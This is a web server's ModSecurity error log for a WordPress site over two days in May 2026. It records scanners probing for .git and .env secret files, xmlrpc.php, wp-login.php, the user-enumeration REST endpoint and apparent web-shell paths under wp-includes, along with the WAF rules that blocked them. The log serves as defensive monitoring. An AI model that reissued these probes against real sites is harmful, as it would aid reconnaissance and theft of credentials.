[Tue May 05 17:28:23.495327 2026] [:error] [pid 25743:tid 25752] [client 159.223.165.35:49064] [client 159.223.165.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/HEAD"] [unique_id "afm4N2-PCMRhF5DdUnOy7QAAAAU"]
[Tue May 05 17:28:23.497790 2026] [:error] [pid 25745:tid 25803] [client 159.223.165.35:49050] [client 159.223.165.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "afm4N5sd7hb7vrvCNBkwlAAAAMI"]
[Tue May 05 17:44:35.680485 2026] [:error] [pid 54732:tid 54737] [client 20.78.129.88:3637] [client 20.78.129.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.php7"] [unique_id "afm8A7GgYlDOb3nfuJQDPwAAAEM"]
[Tue May 05 17:44:36.229276 2026] [:error] [pid 25835:tid 25852] [client 20.78.129.88:3624] [client 20.78.129.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.php7"] [unique_id "afm8BFDT5nGJyh1439zJRwAAAQ8"]
[Tue May 05 17:44:36.819049 2026] [:error] [pid 25744:tid 25795] [client 20.78.129.88:3615] [client 20.78.129.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.php7"] [unique_id "afm8BCR8IuyzjkW06OPKbQAAAJU"]
[Tue May 05 17:44:37.312132 2026] [:error] [pid 25835:tid 25846] [client 20.78.129.88:2729] [client 20.78.129.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.php7"] [unique_id "afm8BVDT5nGJyh1439zJSwAAAQk"]
[Tue May 05 17:45:19.235607 2026] [:error] [pid 25744:tid 25781] [client 43.157.170.126:58226] [client 43.157.170.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afm8LyR8IuyzjkW06OPKiAAAAIc"]
[Tue May 05 17:53:10.152194 2026] [:error] [pid 25743:tid 25755] [client 152.57.82.127:49318] [client 152.57.82.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.57.82.127, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afm-Bm-PCMRhF5DdUnO3pAAAAAg"]
[Tue May 05 17:53:19.030407 2026] [:error] [pid 2324:tid 2327] [client 152.57.82.127:49845] [client 152.57.82.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.57.82.127, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afm-D2qe2hrcI52A1HxBxAAAAUE"]
[Tue May 05 17:53:29.085640 2026] [:error] [pid 54732:tid 54736] [client 152.57.82.127:50232] [client 152.57.82.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.57.82.127, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afm-GbGgYlDOb3nfuJQFngAAAEI"]
[Tue May 05 17:53:40.290993 2026] [:error] [pid 54732:tid 54741] [client 152.57.82.127:50613] [client 152.57.82.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.57.82.127, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afm-JLGgYlDOb3nfuJQFrgAAAEc"]
[Tue May 05 17:53:49.785800 2026] [:error] [pid 2324:tid 2347] [client 152.57.82.127:50929] [client 152.57.82.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.57.82.127, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afm-LWqe2hrcI52A1HxB-wAAAVU"]
[Tue May 05 18:12:14.600806 2026] [:error] [pid 54732:tid 54753] [client 27.62.32.66:9359] [client 27.62.32.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.62.32.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afnCfrGgYlDOb3nfuJQIxwAAAFM"]
[Tue May 05 18:12:26.385714 2026] [:error] [pid 25744:tid 25787] [client 27.62.32.66:9494] [client 27.62.32.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.62.32.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afnCiiR8IuyzjkW06OPRCAAAAI0"]
[Tue May 05 18:12:36.090441 2026] [:error] [pid 25745:tid 25805] [client 27.62.32.66:9339] [client 27.62.32.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.62.32.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afnClJsd7hb7vrvCNBk5XwAAAMQ"]
[Tue May 05 20:37:33.682098 2026] [:error] [pid 25745:tid 25810] [client 123.207.65.62:52728] [client 123.207.65.62] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afnkjZsd7hb7vrvCNBlL9wAAAMk"]
[Tue May 05 20:43:41.460859 2026] [:error] [pid 25744:tid 25774] [client 208.84.100.197:17384] [client 208.84.100.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.production"] [unique_id "afnl_SR8IuyzjkW06OPzqQAAAIA"]
[Tue May 05 20:43:41.461387 2026] [:error] [pid 25744:tid 25798] [client 208.84.100.197:17368] [client 208.84.100.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.local"] [unique_id "afnl_SR8IuyzjkW06OPzrAAAAJg"]
[Tue May 05 20:43:41.462022 2026] [:error] [pid 25744:tid 25797] [client 208.84.100.197:17344] [client 208.84.100.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "afnl_SR8IuyzjkW06OPzrgAAAJc"]
[Tue May 05 20:43:41.462603 2026] [:error] [pid 54732:tid 54758] [client 208.84.100.197:17342] [client 208.84.100.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/backend/.env"] [unique_id "afnl_bGgYlDOb3nfuJQkPgAAAFg"]
[Tue May 05 20:43:41.462926 2026] [:error] [pid 25744:tid 25784] [client 208.84.100.197:17338] [client 208.84.100.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/api/.env"] [unique_id "afnl_SR8IuyzjkW06OPzrwAAAIo"]
[Tue May 05 20:43:41.463488 2026] [:error] [pid 25744:tid 25786] [client 208.84.100.197:17328] [client 208.84.100.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/app/.env"] [unique_id "afnl_SR8IuyzjkW06OPzsQAAAIw"]
[Tue May 05 21:36:00.612159 2026] [autoindex:error] [pid 25835:tid 25843] [client 95.111.239.37:55448] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue May 05 22:16:03.574511 2026] [:error] [pid 2324:tid 2332] [client 194.62.107.4:27015] [client 194.62.107.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "afn7o2qe2hrcI52A1HyjQQAAAUY"]
[Tue May 05 22:54:48.593490 2026] [:error] [pid 54732:tid 54736] [client 170.106.163.84:51204] [client 170.106.163.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afoEuLGgYlDOb3nfuJQ52gAAAEI"]
[Wed May 06 00:24:59.392171 2026] [autoindex:error] [pid 25744:tid 25792] [client 213.136.67.3:51884] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed May 06 00:31:10.571904 2026] [:error] [pid 2324:tid 2326] [client 172.234.84.67:46900] [client 172.234.84.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.234.84.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afobTmqe2hrcI52A1HzPSgAAAUA"]
[Wed May 06 00:31:11.273732 2026] [:error] [pid 2324:tid 2337] [client 172.234.84.67:46906] [client 172.234.84.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.234.84.67, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afobT2qe2hrcI52A1HzPTwAAAUs"]
[Wed May 06 00:47:46.328023 2026] [:error] [pid 25835:tid 25840] [client 35.232.154.195:59592] [client 35.232.154.195] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "afofMlDT5nGJyh1439wFiwAAAQM"]
[Wed May 06 00:47:47.345064 2026] [:error] [pid 25835:tid 25861] [client 35.232.154.195:59592] [client 35.232.154.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.154.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afofM1DT5nGJyh1439wFjQAAARg"]
[Wed May 06 00:47:48.596617 2026] [:error] [pid 2324:tid 2346] [client 35.232.154.195:63333] [client 35.232.154.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.154.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afofNGqe2hrcI52A1HzT6gAAAVQ"]
[Wed May 06 00:47:49.657183 2026] [:error] [pid 2324:tid 2332] [client 35.232.154.195:63873] [client 35.232.154.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.154.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afofNWqe2hrcI52A1HzT7gAAAUY"]
[Wed May 06 00:47:50.772292 2026] [:error] [pid 25745:tid 25820] [client 35.232.154.195:61629] [client 35.232.154.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.154.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afofNpsd7hb7vrvCNBlo8QAAANM"]
[Wed May 06 00:47:51.832380 2026] [:error] [pid 25744:tid 25783] [client 35.232.154.195:49763] [client 35.232.154.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.154.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afofNyR8IuyzjkW06OMj8gAAAIk"]
[Wed May 06 00:47:52.983616 2026] [:error] [pid 25743:tid 25768] [client 35.232.154.195:57923] [client 35.232.154.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.154.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afofOG-PCMRhF5DdUnMpvgAAABU"]
[Wed May 06 00:47:52.983779 2026] [:error] [pid 25743:tid 25768] [client 35.232.154.195:57923] [client 35.232.154.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.232.154.195, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afofOG-PCMRhF5DdUnMpvgAAABU"]
[Wed May 06 01:45:27.501731 2026] [:error] [pid 2324:tid 2335] [client 45.154.98.197:64936] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "afost2qe2hrcI52A1HznlQAAAUk"]
[Wed May 06 01:45:28.004430 2026] [:error] [pid 2324:tid 2327] [client 45.154.98.197:65101] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "afosuGqe2hrcI52A1HznlwAAAUE"]
[Wed May 06 01:45:28.538844 2026] [:error] [pid 25744:tid 25778] [client 45.154.98.197:65260] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "afosuCR8IuyzjkW06OMuKQAAAIQ"]
[Wed May 06 01:45:30.853778 2026] [:error] [pid 25744:tid 25790] [client 45.154.98.197:49629] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "afosuiR8IuyzjkW06OMuLAAAAJA"]
[Wed May 06 02:21:30.174068 2026] [:error] [pid 25835:tid 25843] [client 172.70.251.89:10277] [client 172.70.251.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afo1KlDT5nGJyh1439wRhAAAAQY"]
[Wed May 06 02:21:33.177653 2026] [:error] [pid 54732:tid 54742] [client 172.71.172.37:11124] [client 172.71.172.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afo1LbGgYlDOb3nfuJRb2wAAAEg"]
[Wed May 06 02:21:38.632858 2026] [:error] [pid 25744:tid 25797] [client 172.71.172.36:10475] [client 172.71.172.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afo1MiR8IuyzjkW06OM0zQAAAJc"]
[Wed May 06 03:29:49.193379 2026] [:error] [pid 18880:tid 18900] [client 43.173.1.57:38232] [client 43.173.1.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afpFLX8NEZdX7h1vZj14jAAAANI"]
[Wed May 06 04:12:37.799932 2026] [:error] [pid 48759:tid 48825] [client 170.106.180.246:40444] [client 170.106.180.246] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afpPNamcftH9JrQl_yG1UQAAAIM"]
[Wed May 06 08:52:44.860518 2026] [:error] [pid 13414:tid 13422] [client 67.218.249.44:38328] [client 67.218.249.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.218.249.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afqQ3EuJQpWjVpJTu_nZ8gAAAQY"]
[Wed May 06 08:54:36.859739 2026] [:error] [pid 13414:tid 13427] [client 67.218.249.44:38692] [client 67.218.249.44] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afqRTEuJQpWjVpJTu_naMAAAAQs"]
[Wed May 06 08:54:50.681304 2026] [:error] [pid 13414:tid 13438] [client 67.218.249.44:39300] [client 67.218.249.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.218.249.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afqRWkuJQpWjVpJTu_naOAAAARY"]
[Wed May 06 08:55:25.084888 2026] [:error] [pid 9664:tid 9775] [client 43.166.134.114:47582] [client 43.166.134.114] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afqRfQH4OZbrg1SjsBPLzwAAAI0"]
[Wed May 06 09:32:49.442507 2026] [:error] [pid 9789:tid 9795] [client 43.156.232.190:47124] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afqaQT_YStPJSCHPkUUYzgAAAEQ"]
[Wed May 06 10:30:52.015348 2026] [:error] [pid 63810:tid 63826] [client 137.184.229.126:55876] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afqn3HpnbsN9Zf6i5IEXIQAAAYw"]
[Wed May 06 10:30:53.511950 2026] [:error] [pid 13443:tid 13452] [client 137.184.229.126:65160] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afqn3QCyfZallDmsQrdzAwAAAUc"]
[Wed May 06 10:59:10.296454 2026] [:error] [pid 482:tid 491] [client 137.184.229.126:64148] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afqufsxs8HOc_nWgOW68CwAAAcc"]
